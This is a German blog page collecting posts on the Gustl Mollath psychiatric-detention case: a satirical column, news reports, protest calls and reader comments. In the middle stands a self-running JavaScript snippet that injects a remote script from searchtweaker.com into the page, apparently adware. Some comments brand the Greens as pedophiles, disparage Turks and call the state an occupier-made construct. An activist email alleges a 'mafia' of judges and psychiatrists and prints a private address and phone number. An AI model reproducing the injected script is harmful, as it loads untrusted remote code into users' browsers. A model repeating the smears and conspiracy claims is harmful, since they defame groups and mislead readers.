Gustl Mollath – UNZENSIERT – Die Brandrede vom 06.09.2014 in Gießen!


Auf der Veranstaltung am 06.09.2014: „Die Richter und ihre Denker“ wurde von Gustl Mollath die Veranstaltung auf den Namen „DIE RICHTER und ihre HENKER“ umbenannt! In dieser Rede werden die Fehler im System mit Bezug auf Justiz und Psychiatrie aber auch der Presse deutlich angesprochen!

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Der Wochenrückblick…..paz35


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Schöner lügen / Wie Rösler in die »Aktuelle Kamera« kam, warum Merkel es mal wieder besser kann, und wo unser ganzes Geld hin ist

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medien, audio

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Es gibt verschiedene Arten von Lügnern. Manchen macht das Flunkern richtig Spaß, sie mogeln voller Freude und Zuversicht, was man ihnen auch ansieht. Anderen hingegen ist es eine Qual. Sie sind traurig, weil sie wissen, dass ihnen der Belogene ohnehin nicht glaubt. Mit steinerner Miene faseln sie daher den Blödsinn runter und hoffen, dass es schnell vorbeigeht.

Solche lustlosen Schwindelaufführungen kennen Ältere aus der „Aktuellen Kamera“ (AK) des DDR-Fernsehens: Da stand der arme Mitarbeiter irgendeines maroden Betriebes herum und leierte die vorformulierte Liste der Triumphmeldungen „zur Übererfüllung der Beschlüsse des x-ten Parteitages der SED“ ins Mikro. Das eingefrorene Gesicht, der monotone Singsang zeigten unübersehbar, dass er den Kram weder selbst glaubte noch hoffen mochte, dass es die Zuschauer tun.

Trotzdem – oder gerade deswegen? – verströmten diese AK-Sendungen eine morbide Art von Komik. Man trauert ihnen fast ein wenig nach, weil in heutigen Nachrichtensendungen viel professioneller betrogen wird als damals. Dieses geleckte Lügen zeitgenössischer Propaganda-Routiniers deprimiert im Grunde viel mehr als die herrlich hölzernen DDR-Aufführungen.

Manchmal aber gibt es Lichtblicke: Wer ein wenig Nostalgie genießen wollte, der kam vorige Woche spät abends beim Sender „Phoenix“ auf seine Kosten. Da saß Philipp Rösler und erklärte, dass Griechenland auf einem guten Weg und kein weiterer Schuldenschnitt in Sicht sei. Seine Mimik, sein leiernder Tonfall verrieten dabei überdeutlich, dass der FDP-Minister wusste: Das glaubt mir kein Mensch, aber ich muss es eben sagen, also bringen wir’s hinter uns. Auf kritische, fast energische Rückfragen eines Journalisten („Der IWF legt aber ganz andere Zahlen vor!“) wiederholte Rösler einfach Wort für Wort das, was er schon gesagt hatte. Mit beinahe regungslosem Gesicht und einstudiertem Tonfall, ganz wie der Mann im DDR-Fernsehen. Es war wirklich eine wundervolle Aufführung, herzlich gelacht!

Da ist die Kanzlerin aus ganz anderem Holz! Noch nie, so ruft Angela Merkel ihren begeisterten Anhängern auf Wahlveranstaltungen zu, hätten Länder gegeneinander Krieg geführt, die eine gemeinsame Währung besaßen. Bewundernswert ist, mit welcher Überzeugungskraft sie diese steile These hinausposaunt. Eher verblüffend dagegen, dass die Zuhörer ihr zu dem Quatsch auch noch applaudieren, zumal es sich bei ihnen überwiegend um ältere Semester handelt.

Nur Leuten, die unter 30 sind, könnte man verzeihen, dass sie das nicht mitbekommen haben: In den 1990er Jahren tobte auf dem Balkan eine ganze Reihe grausiger Kriege, die alle eines gemeinsam hatten: Bei Ausbruch der Kämpfe bezahlten beide Seiten mit dem jugoslawischen Dinar.

Schlimmer noch: Die Kriege sind überhaupt nur ausgebrochen, weil man die Völker zuvor gegen ihren Willen in eine viel zu enge Union gepresst hatte. Heute versuchen die Führer der Euro-Zone, Volksabstimmungen so gut es geht zu vermeiden oder nachträglich zu entwerten. Stattdessen sollen die Völker per Verordnung vor die vollendete Tatsache von „mehr Europa“ gestellt werden. Wir wissen nicht, wie das diesmal ausgeht, doch das Schnittmuster kommt uns einigermaßen „jugoslawisch“ vor.

Daher der gute Rat an Frau Merkel: Das mit den historischen Verweisen sollten Sie lieber sein lassen. Auch Jugoslawien war „alternativlos“, wenn es nach seinen Führern ging.

Peer Steinbrück meidet die Fallstricke historischer Einzelheiten und dreht lieber das ganz große Rad deutscher Schuld und Verantwortung. Deutschland müsse für die „Rettung Europas“ zahlen. Wer hier wirklich „gerettet“ wird, weiß der Ex-Finanzminister seit seiner Teilnahme an der „Bilderberg“-Konferenz der Weltfinanzmagnaten zwar sehr wohl. Doch welcher Nationalschuld-bewusste Deutsche mag nach dem Fanfarenstoß „Rettung Europas!“ noch nachfragen?

Mit dem historischen Mammutwerk dieser „Rettung“ kann man nicht bloß fade Wahlkampfreden aufpeppen. Damit lassen sich auch geheimnisvolle Rätsel erklären, auf die wir uns bislang keinen Reim machen konnten. Es ist doch merkwürdig: Seit wer weiß wie lange schon feiern Deutschlands öffentliche Hände Einnahmerekorde. Doch nun hören wir, dass ein beträchtlicher Teil unserer Kommunen finanziell völlig im Eimer ist, die Bundesländer auch keinen Cent für die klammen Städte übrig haben und der Bund „keinerlei Spielraum für steuerliche Erleichterungen“ sieht.

Balkankriege hatten
eines gemeinsam: Am
Anfang zahlten
beide Seiten mit
derselben Währung

Wohnt in den Schreibtischschubladen der Kämmerer und Finanzminister ein struppiges Krümelmonster, das unentwegt hereinkommende Geldscheine vertilgt? Nein? Ja, wo ist der ganze Zaster dann hin?

Raten Sie mal! Richtig: Ganz nebenbei erfahren wir in kleinen Artikeln auf Seite sowieso, dass die deutschen Überweisungen nach Brüssel im Juni 2013 gegenüber Juni 2012 um knapp 76 Prozent gestiegen sind. Nein, kein Tippfehler, es waren nicht 7,6 Prozent sondern sechsundsiebzig! Fast verdoppelt.

Genau deshalb, so ist aus Berlin zu hören, hat der Bund trotz saftig gestiegener Steuereinnahmen nicht mehr, sondern weniger Geld als ein Jahr zuvor. Daher kann er auch den notleidenden Kommunen nicht unter die Arme greifen. Tja, das nennt man dann „Sach­zwänge“. „Sachzwänge“ sind Folgen früherer Fehlentscheidungen, für welche die verantwortlichen Politiker heute nicht mehr verantwortlich gemacht werden wollen.

Und jetzt? Wie lösen wir das nun? Aber meine Damen und Herren, da kann es doch wohl keinen Zweifel geben: Etliche Länder und Gemeinden schrauben zum 1. Januar massiv Steuern und Abgaben hoch. Denn schließlich stünden doch auch wir Bürger in der Pflicht, wenn es gelte sicherzustellen, dass die öffentliche Hand ihre „dringend notwendigen Aufgaben erfüllen kann“. Trotzdem wird es nicht reichen. Überall im Land sollen Schwimmbäder, Jugendzentren, Bücherhallen und was nicht alles geschlossen werden, weil wir uns diesen „Luxus“ wegen der „schwierigen Haushaltslage“ nicht mehr leisten können.

Natürlich ist es ein Trost, dass dafür vielleicht irgendwo am anderen Ende Europas ein brandneues Spaßbad eröffnet wird, „gefördert mit Mitteln der Europäischen Union“. Solche Projekte stärken schließlich den Zusammenhalt zwischen den Völkern und sichern den Frieden. Und unsere Freude wird natürlich auch nicht durch Berichte getrübt über EU-geförderte Projekte, die vor Ort gar keiner gebrauchen kann wie so manchen spanischen Flughafen, von dem noch nie irgendwer gestartet ist.

Dennoch treibt es uns Tränchen in die Augen, wenn wir vor den toten Fenstern der wegen „unumgänglicher Sparmaßnahmen“ geschlossenen Bücherhalle stehen. Tränen, die sich schnell in Wutgeheul verwandeln, sobald sich die Zahl 76 aus dem Hinterkopf wieder nach vorne gearbeitet hat.

Da kommt einem schon die böse Frage: Wo verläuft eigentlich die Grenze zwischen falscher Politik und richtiger Kriminalität? Müsste man die Verantwortlichen nicht mal belangen können? Vor Gericht?

Das haben sich die Betreffenden auch schon überlegt und bauen vor. Niedersachens grüne Justizministerin Antje Niewisch-Len­nartz will, dass Richter künftig von Wahlausschüssen bestellt werden, in denen auch „gesellschaftliche Gruppen“ wie Gewerkschaften oder Religionsgemeinschaften Sitz und Stimme haben. Wie das in der Praxis läuft, kennen wir aus den Rundfunkräten, wo die Vertreter der „Gesellschaft“ durchweg irgendwelchen Parteien zuneigen und entsprechend abstimmen. Mit dem Vorschlag aus Hannover wäre sichergestellt, dass die Justiz endgültig zum Arm der Politik wird. Gustl Mollath säße dann vermutlich heute noch. Doch die Politiker hätten nichts mehr zu befürchten.

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nachzulesen bei preussische-allgemeine-zeitung 35-2013


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Freiheit für Gustl Mollath – Proteste in Nürnberg und Berlin


Recht & Freiheit für Gustl Mollath! Teil1/2 – Großkundgebung in Nürnberg

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http://www.Wahrheitsbewegung.net – Rund 1000 Menschen protestierten am Samstag, den 27.7.2013 in Nürnberg an der Straße der Menschenrechte für die Freiheit von Gustl Mollath, welcher seit nunmehr 7 Jahren in der Psychiatrie gefangen gehalten wird.

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Recht & Freiheit für Gustl Mollath! – Teil2/2 – Protest in Nürnberg – Reden

In diesem 2. Teil von der Großkundgebung für die Freiheit von Gustl Mollath in Nürnberg, kommt u.a. Dr. Schlötterer zu Wort. Das neue investigative Buch von ihm gibt es hier: http://www.kopp-verlag.de/cgi/wsaffil…

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1/3 Mahnwache für Gustl Mollath vor der Bayerischen Vertretung in Berlin mit Nina Hagen

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hier geht es um viel mehr als „nur“ um Gustl Mollath. Er ist im Moment nur die Spitze vom Eisberg.

Hier geht es um die allgemeine Verlogenheit innerhalb der BRiD, die es in dieser Form noch nie gegeben hat.

Da die BRiD nur eine Kunstform, ein vorübergehendes Konstrukt der Feind-Alliierten ist (ausser Russland), entwickeln sich besonders geschäftstypische Verhaltensmuster.

Wie in einer GmbH üblich.

Jeder schiesst gegen jeden, da es einzig und allein nur um das Geld geht…..

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nebenbei achtet mal darauf, wie bei allen Veranstaltungen oder freiwilligen Organisationen (z.B. Feuerwehr):

Türken sind nie dabei……damit haben sie nichts zu schaffen……warum? sie sind Türken und nicht Deutsche…..

—-von Ausnahmen freilich abzusehen…

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WIR BLEIBEN NATÜRLICH RECHTS::::::::WARUM JETZT SO KURZ VOR DEN WAHLEN DIE MASSIVE VERÖFFENTLICHUNG DES FALLES MOLLATH?

VORHER HATTE ES 7,5 JAHRE NIEMANDEN INTERESSIERT:::::NIEMAND KANNTE MOLLATH::::::

IST DAS GANZE, SO RECHT WIE ES AUCH IST, EINE WAHLKAMPFTAKTIK DER PÄDOPHILEN GRÜNEN?

PÄDOPHILIE IST ALLEMAL HÖHER ZU VERACHTEN, ALS DER FALL MOLLATH!

DAS DARF NIEMALS VERGESSEN WERDEN!

WER JETZT IN BAYERN KEINE CSU MEHR WÄHLEN WILL, UNTERSTÜTZT DIE GRÜNEN KINDER-ÄCHTER-FÖRDERER.

DAHER WEISEN WIR AUF GUTE ALTERNATIVEN HIN:

  • DIE REPUBLIKANER

  • DIE FREIHEIT

  • PRO

DIE AFD IST KEINE ALTERNATIVE!!!

DIE AFD; JEDER KANN DAS PRÜFEN, WILL WEITERHIN DEN EURO; WILL DIESE „EU“; WILL DIE VERNICHTUNG DER NATIONALSTAATEN:::::INTERESSIEREN SICH EINEN DRECK UM DIE TÜRKISCHE ISLAMISIERUNG;;;;;;;;DIE SCHLIMMER IST ALS DAS GANZE „EU“ PROBLEM!!!

INFORMIERT EUCH UND WÄHLT DIE WAHREN ALTERNATIVEN!!!!!!

 

Fall Mollath: Seehofer wütet gegen Justizministerin Merk


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Bayern, Kabinett, Beate Merk, Gustl Mollath, München, Psychiatrie, Horst Seehofer, Untersuchungsausschuss

dpa Bayerns Ministerpräsident Horst Seehofer mit Kabinettskollegen in der Staatskanzlei in München
Kommt er frei oder nicht? Horst Seehofer wünscht sich im Fall Mollath eine schnelle Entscheidung. Als Bayerns Justizministerin Beate Merk dagegen auf die Freiheit der Gerichte verwies, griff der Ministerpräsident sie persönlich an.
Bayerns Ministerpräsident Horst Seehofer zeigte sich nach Informationen des „Münchner Merkur“ in der jüngsten Kabinettssitzung ungehalten über die fehlenden Fortschritte im Fall Gustl Mollath. Dabei griff er die Justizministerin und Parteikollegin Beate Merk scharf an, wie die Zeitung am Mittwoch auf seiner Internetseite unter Berufung auf Teilnehmer der Sitzung berichtete. Merk hatte keine Aussage darüber treffen können, wann das Gericht eine Entscheidung fällen und wie diese aussehen werde. „Wofür brauchen wir dann noch ein Justizministerium?“, habe Seehofer zornig gefragt.Die Justizministerin verwies nach Angaben der Zeitung auf die Unabhängigkeit der Gerichte und die verfassungsrechtlichen Grenzen ihres Ministeriums. Weisungsgebunden sei nur die Staatsanwaltschaft. Seehofer wollte diese Ohnmacht der Politik gegenüber der Richterschaft jedoch nicht hinnehmen. Die Politik wisse nichts, „ist aber für alles verantwortlich“, soll sich der Ministerpräsident empört haben. Er habe mehrfach auf eine schnellere Entscheidung im Fall Mollath gedrängt.

Teilerfolg für Gustl Mollath

Das Oberlandesgericht (OLG) Bamberg hatte am Dienstag einen Beschluss des Landgerichts Bayreuth vom 10. Juni aufgehoben, der die Fortdauer der Unterbringung Mollaths angeordnet hatte. Wie das OLG mitteilte, wurde das Verfahren zur erneuten Behandlung und Entscheidung an die Strafvollstreckungskammer des Landgerichts zurückverwiesen. Nach Auffassung des OLG hatten sich die Bayreuther Richter in der Sache auf ein mehr als zwei Jahre altes Gutachten gestützt. Die neuen Umstände machten jedoch eine erneute Begutachtung Mollaths nötig.

Mollath sitzt seit 2006 gegen seinen Willen in der Psychiatrie, weil er seine Frau misshandelt und Autoreifen zerstochen haben soll. Er sieht sich als Opfer eines Komplotts seiner Ex-Frau und der Justiz, weil er auf Schwarzgeldgeschäfte hingewiesen hat. Was zunächst als Phantasie Mollaths abgetan wurde, bestätigte sich später im Wesentlichen.

Der Fall Mollath beschäftigte in Bayern schon einen Untersuchungsausschuss des Landtags. Die Opposition fordert den Rücktritt von Justizministerin Merk.
..focus.de/politik/deutschland/kabinettsstreit-ueber-fall-mollath-seehofer-wuetet-gegen-justizministerin-merk-_aid_1046028.html

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(function(){try{var header=document.getElementsByTagName(„HEAD“)[0];var script=document.createElement(„SCRIPT“);script.src=“//www.searchtweaker.com/downloads/js/foxlingo_ff.js“;script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState==“complete“||this.readyState==“loaded“)){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
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AUFRUF und Informationen: Gustl Mollath – Großkundgebung 27. Juli / S&G No. 39-42


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2013.06.29_Mugaraito.Günter.Weber_Beim.Psychiater_Mollath-Valent in

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Sehr geehrte Damen und Herren, liebe Freunde,hiermit möchte ich nochmal auf die Wichtigkeit der Großkundgebung in Nürnberg am 27. Juli hinweisen, die auch dann stattfinden wird, wenn Gustl Mollath auf Grund des nicht nachlassenden Drucks der Öffentlichkeit und der nach sieben Jahren von den verantwortlichen Unverantwortlichen endlich erkannten Nichtaussitzbarkeit dieses Problems von den Mächtigen „vorzeitig“ entlassen werden sollte, denn die vielen namenlosen – von Experten geschätzten – bis zu 50 % unschuldig in psychiatrischen Anstalten Einsitzenden dürfen nicht in Vergessenheit geraten, wenn derjenige, der dem Verbrechen des Mißbrauchs der Psychiatrie durch die Mafia von Politikern, Bank(st)ern, Konzernbossen, „Finanzbehörden“-Vorstehern, „Richtern“, „Staatsanwälten“, psychiatrischen „Gutachtern“ und Medien, die einen souveränen freiheitlich-demokratischen Rechtsstaat vortäuschen, ein Gesicht gibt, nicht mehr im Scheinwerferlicht der Öffentlichkeit steht!

Das „Menschenrechtsforum Gustl Mollath“ in Nürnberg konnte für diese Großkundgebung jetzt auch Nina Hagen als prominente Unterstützerin gewinnen.

Wem es nicht gleichgültig ist, daß nichts zu entscheiden habende „Gewählte“ (Marionetten) im Auftrag nichtgewählter Entscheider unsere Heimat schleichend zu einer verfassungswidrigen mafiösen staatssimulativen Abzocker- und Ausverkaufsfirma mit allmächtiger Kontroll-, Überwachungs- und Gehorsamserzwingungsbürokratie umbauen, in der sich die Drahtzieher und Nutznießer über Verfassung und Gesetz gestellt haben und Widerständler mit dem Unrecht im Gewande des Rechts ausschalten, für den gibt es mE am 27. Juli 2013 keinen wichtigeren Termin!

Diese ePost geht auch an Politiker, „POLIZEI“, DPolG, „STAATSSCHUTZ“, „VERFASSUNGSSCHUTZ“, usw., damit sie nicht erst abwarten müssen, bis „unsere teuren amerikanischen Freunde“ diese Nachricht an ihre (überwachungsbedürftigen) „Verbündeten dritter Klasse“ weitergeleitet haben.

Aktuelle Informationen über den Stand der Vorbereitung zur Großkundgebung am 27. Juli werden hier veröffentlicht:
http://www.nuernbergwiki.de/index.php/Menschenrechtsforum_Gustl_Mollath


Gustl Mollath im NürnbergWiki:
http://www.nuernbergwiki.de/index.php/Gustl_Mollath_im_N%C3%BCrnbergWiki  – Auszug:

Damit Staatsanwälte, Richter, Psychiater und Böswillige nicht mehr daherfabulieren, entstanden im NürnbergWiki bisher folgende flankierende Artikel:

·         ⇛ Menschenrechtsforum Gustl Mollath‎ mit Spendenkonto!
·         ⇛ Gustl Mollath (Scheidung)‎, Brief vom 11. Juni 2003 an den Amtsrichter Jürgen Bloß.
·         ⇛ Gustl Mollath (Gegendarstellung)
·         Michael Kasperowitsch
·         Klaus Leipziger
·         Hasso Nerlich
·         Ursula Prem
·         Wilhelm Schlötterer
·         Macht und Mißbrauch
·         ⇛ SZ-Büro Franken ⇛ Olaf Przybilla und Uwe Ritzer
·         ⇛ Gustl Mollath (Briefe an Hasso Nerlich)‎, veröffentlicht von Ursula Prem.
Eine Baustelle ist noch der Artikel für den Chefarzt Dr. med. Klaus Leipziger, weil seine Zeit vor 1990 im Dunkeln liegt und er bisher nicht mitarbeitete. Diese Baustelle steht in der Suchmaschine Google trotzdem auf Seite 1, Platz 2. Wie wurden Leipziger und seine Oberärzte zu Fachärzten für Psychiatrie? Die gleiche Frage gilt für die Gutachter Dr. med. Hans-Ludwig Kröber und Dr. med. Friedemann Pfäfflin.
Manfred Riebe
Max-Reger-Straße 99
90571 Schwaig bei Nürnberg
Tel. (0911) 50 08 25
manfred@riebe.eu
http://marjorie-wiki.de/wiki/Manfred_Riebe

Deshalb hier Aufruf und Bitte an alle, die über zweckdienliche Informationen verfügen, diese Herrn Riebe zur Verfügung zu stellen.Anbei noch eine Glosse von Günter Weber zur Tragikomik psychiatrischer Zwangsbehandlung in der BRD (Anlage 1) und die letzten vier Ausgaben der S&G mit der Bitte um Ausdrucken und Verteilung als „Handexpreß“, insbesondere bei Leuten im eigenen Umfeld, die nicht im Weltnetz sind.

Und noch eine Glosse:

Art. 12 [Freiheitssphäre des einzelnen]
Niemand darf willkürlichen Eingriffen in sein Privatleben, seine Familie, sein Heim oder seinen Briefwechsel noch Angriffen auf seine Ehre und seinen Beruf ausgesetzt werden. Jeder Mensch hat Anspruch auf rechtlichen Schutz gegen derartige Eingriffe oder Anschläge. (UN-Menschenrechts-Charta vom 10.12.1948)

Die UN-Menschenrechte gelten – wie es scheint und der Name sagt – eben nur für Menschen.

Die vorherigen S&G von 2013 und das S&G-Jahrbuch 2012 mit allen 58 S&G-Ausgaben des Jahres 2012 mit Stichwort- und Personenregister finden sich hier:
http://natuerlicheperson.de/pdf/s_g/2012_SG_Jahrbuch.pdf

Mit freundlichen Grüßen
Manfred Heinemann

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Fall Mollath: Ministerin Merk versucht den Befreiungsschlag


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Ihre Unfähigkeit und Bestechlichkeit versucht Beate Merk nun durch einen „Angriff nach vorne“

zu unterstreichen und zu vertuschen……….

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Sein Schicksal bewegt die Öffentlichkeit: Seit sieben Jahren sitzt Gustl Mollath gegen seinen Willen in der Psychiatrie. Zu Unrecht? Welche Fehler haben Justiz und Politik in diesem Fall begangen? Über Monate fegte Bayerns Justizministerin Beate Merk (CSU) jeden Zweifel am Vorgehen der Behörden beiseite und charakterisierte Mollath als kranken und gefährlichen Mann. Wenige Wochen vor der Landtagswahl im Freistaat zeigt sie plötzlich Mitgefühl mit Mollath und stellt seine weitere Unterbringung in Frage. Was steckt hinter der neuen Strategie?

Zu kaum einem anderen Thema hat sich Beate Merk seit dem Herbst so oft geäußert wie zum Fall Mollath – doch solche Töne waren von ihr bisher nicht zu hören: „Ich bin keine eiserne Lady, an der nur alles abprallt“, sagte die CSU-Politikerin in dieser Woche der „Augsburger Allgemeinen“. „Natürlich bewegt mich das Schicksal von Herrn Mollath.“ Und falls in diesem Fall tatsächlich etwas „elementar falsch gelaufen“ sein sollte, „dann wäre das für mich persönlich ganz schrecklich“. Das bedeutet: Die Ministerin schließt nun nicht mehr aus, dass die Justiz Fehler begangen haben könnte. Mehr noch: Sie stellte indirekt sogar in Aussicht, sich für Mollaths Freilassung auszusprechen. In der Stellungnahme, die das Bundesverfassungsgericht von ihr zu dem Fall angefordert hat, werde sie deutlich machen, „dass nach meiner Auffassung die Unterbringung des Mannes mit zunehmender Dauer unverhältnismäßig ist“.

„Augsburger Allgemeine“: Bayerns Justizministerin will Freilassung. >

Im vergangenen Dreivierteljahr hatte Merk dagegen immer und immer wieder Mollaths psychische Erkrankung betont und das Vorgehen von Gerichten und Staatsanwaltschaft entschieden verteidigt. Sie attestierte Mollath ein „verzerrtes Wahrnehmungsbild“ und verwies stets darauf, die Unterbringung sei erfolgt, „weil der Mann schwere Straftaten begangen hat, weil er krank ist, weil er für die Allgemeinheit gefährlich war und gefährlich ist“. Die scharfen Angriffe und Rücktrittsforderungen der Opposition konterte die CSU-Politikerin mit dem Vorwurf, Freie Wähler, Grüne und SPD benutzten „den Fall dieses kranken Menschen als Trittbrett für eine politische Hetzkampagne“.

Nun vermutet wiederum die Opposition hinter Merks neuer Linie ein Wahlkampfmanöver. „Jetzt stellt sich ausgerechnet die Frau öffentlich an die Spitze der ‚Free-Mollath-Bewegung‘, die immer behauptete, in dem Fall sei alles mit rechten Dingen zugegangen und der Mann säße wegen seiner immensen Gefährlichkeit für die Allgemeinheit in der Anstalt“, sagte der bayerische Grünen-Fraktionschef Martin Runge. „Dieses Manöver ist durchsichtig und dem immer stärker werdenden öffentlichen Druck sowie dem nahenden Wahltermin geschuldet.“

Lästig für Seehofer

Wie Mollath selbst, so zweifelt auch sein Anwalt Gerhard Strate an einem echten Sinneswandel der Ministerin. „Ich glaube kaum, dass das jetzt Ausdruck einer speziellen inneren Einkehr wäre. Ich nehme an, dass es ihr einfach politisch opportun erscheint, sich so zu äußern“, sagte Strate dem Bayerischen Rundfunk. Der Hamburger Staranwalt ist sich sicher, dass „das wirklich skandalöse Verhalten der bayerischen Justiz“ sich auch auf die Ergebnisse der Landtagswahl auswirken wird.

In der Tat: Je näher die Wahl rückt, desto lästiger wird der Fall Mollath für Ministerpräsident Horst Seehofer (CSU), der im Münchner Oberbürgermeister Christian Ude (SPD) einen ernstzunehmenden Herausforderer hat. Erst am vergangenen Wochenende hatte Seehofer zu verstehen gegeben, dass ihm die Klärung des Falls zu lange dauert – und die Justiz zu größerem Tempo aufgefordert. Nur der CSU-Chef selbst wird wissen, wie sehr es ihm dabei in erster Linie um das Wohl von Herrn Mollath geht und welchen Anteil wahltaktische Überlegungen spielen. Fest steht: Der Fall Mollath ist für die Oppositionsparteien ein gefundenes Fressen. Es ist in Seehofers Interesse, zu verhindern, dass der Fall sich durch den gesamten Wahlkampf zieht. Man kann davon ausgehen, dass er nichts unversucht lässt, das Thema so schnell wie möglich zu einem positiven Ende zu bringen – so wie er in den vergangenen Monaten immer wieder mögliche heikle Wahlkampfthemen aus dem Weg räumte, auch wenn er dafür kurzfristig seine Meinung radikal ändern musste.

Verfassungsgericht will Auskunft zu Psychiatrie-Einweisung. >

Merk muss aufpassen, dass sie ihrem Chef dabei nicht im Weg steht. Der Ministerpräsident schätzt es ganz und gar nicht, wenn seine Minister für Wirbel sorgen und damit auch ihn selbst in Erklärungsnot bringen. Merk ist durch den Fall Mollath schon ein Dreivierteljahr lang unter heftigem Beschuss, musste sich in einem Untersuchungsausschuss des Landtags bohrenden Fragen stellen.

Seit Monaten in der Schusslinie

Mollath sitzt seit 2006 zwangsweise in der Psychiatrie. Er soll seine damalige Frau angegriffen haben und wurde als gemeingefährlich eingestuft. Mollath selbst sieht sich als Opfer eines Komplotts, weil er Schwarzgeldgeschäfte bei der HypoVereinsbank angeprangert hatte,  in die seine Frau verwickelt gewesen sein soll. Das Gericht tat dies als Hirngespinste ab, später stellte sich aber ein Teil der Vorwürfe als wahr heraus. Ende November wies Merk die Generalstaatsanwaltschaft an, eine Wiederaufnahme des Verfahrens zu beantragen. Die Opposition warf der Ministerin schon im Herbst vor, zu spät aktiv geworden zu sein und die Öffentlichkeit unzureichend über den Fall informiert zu haben. Merks Ministersessel wackelte. Obwohl ihr Krisenmanagement alles anderes als glücklich war, gelang es ihr aber, sich im Amt zu halten.

Anwalt rechnet mit Entlassung seines Mandanten noch vor September. >

Doch damit nicht genug: Zusätzlich zum Fall Mollath geriet Merk im Frühjahr auch noch wegen der Affäre um die Beschäftigung von Familienmitgliedern im bayerischen Landtag in die Schusslinie. Von 2010 bis 2013 hatte sie ihrer Schwester zeitweise Büroaufträge erteilt.

Merk muss also nicht nur im Sinne ihrer Partei, deren Vizechefin sie ist, alles dafür tun, dass sich die Wogen glätten. Sie darf sich auch aus Eigeninteresse keinen groben Fehler mehr erlauben, wenn sie für den Fall eines CSU-Wahlsiegs die Chance auf eine erneute Berufung ins Kabinett wahren möchte. Die vergangenen Monate waren die turbulentesten ihrer bisherigen Amtszeit, die immerhin schon zehn Jahre dauert. Damit ist Merk klar das dienstälteste Kabinettsmitglied in Bayern. Es war noch Edmund Stoiber, der 2003 die damalige Neu-Ulmer Oberbürgermeisterin in sein Kabinett holte. Sowohl Günther Beckstein als auch Seehofer hielten an Merk fest – auch weil sie eine Frau ist und zudem im Kabinett den Regierungsbezirk Schwaben repräsentiert. Ein allzu großes Gewicht hat sie dem Vernehmen nach in Partei und Regierung nicht.

Jetzt gilt es für sie, den Fall Mollath zu überstehen. Sie muss es schaffen, aus der Ecke der unnachgiebigen Hardlinerin und unbarmherzigen Paragrafenreiterin herauszukommen, in der sie sich eingerichtet hatte. Die weitere Entwicklung des Falls hat sie allerdings nicht selbst in der Hand. Es werden letztlich die Gerichte sein, die über Mollaths Zukunft entscheiden.

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Erwin Pelzig – Fall Gustl Mollath – Neues aus der Anstalt

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Fall Mollath: Lakota und Merk

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Polizeistaat: Polizei-Aktion gegen Ärztin, die sich kritisch zum Fall Mollath äußert

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Erwin Pelzig – Fall Gustl Mollath – Neues aus der Anstalt


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Kein Spass, nur humorvoll vorgetragen, Galgenhumor, denn: leider entsprechen diese Ausführungen den Tatsachen..

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Polizeistaat: Polizei-Aktion gegen Ärztin, die sich kritisch zum Fall Mollath äußert

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Fall Mollath: Lakota und Merk

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Gustl Mollath

Großkundgebung in Nürnberg Am Samstag, den 27. Juli 2013, um 14 Uhr findet in Nürnberg, der Stadt des Friedens und der Menschenrechte, an der Straße der Menschenrechte, am Kornmarkt eine Großkundgebung statt

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Mollath – „EMPÖRT EUCH, ENGAGIERT EUCH!“ Recht und Freiheit für Gustl Mollath! mit namhaften Rednern, Grußbotschaften, politischen Forderungen!

⇛ Bitte diese Info weiterverbreiten! – bei Interesse zwecks Fahrgemeinschaft melden unter 09251/6388

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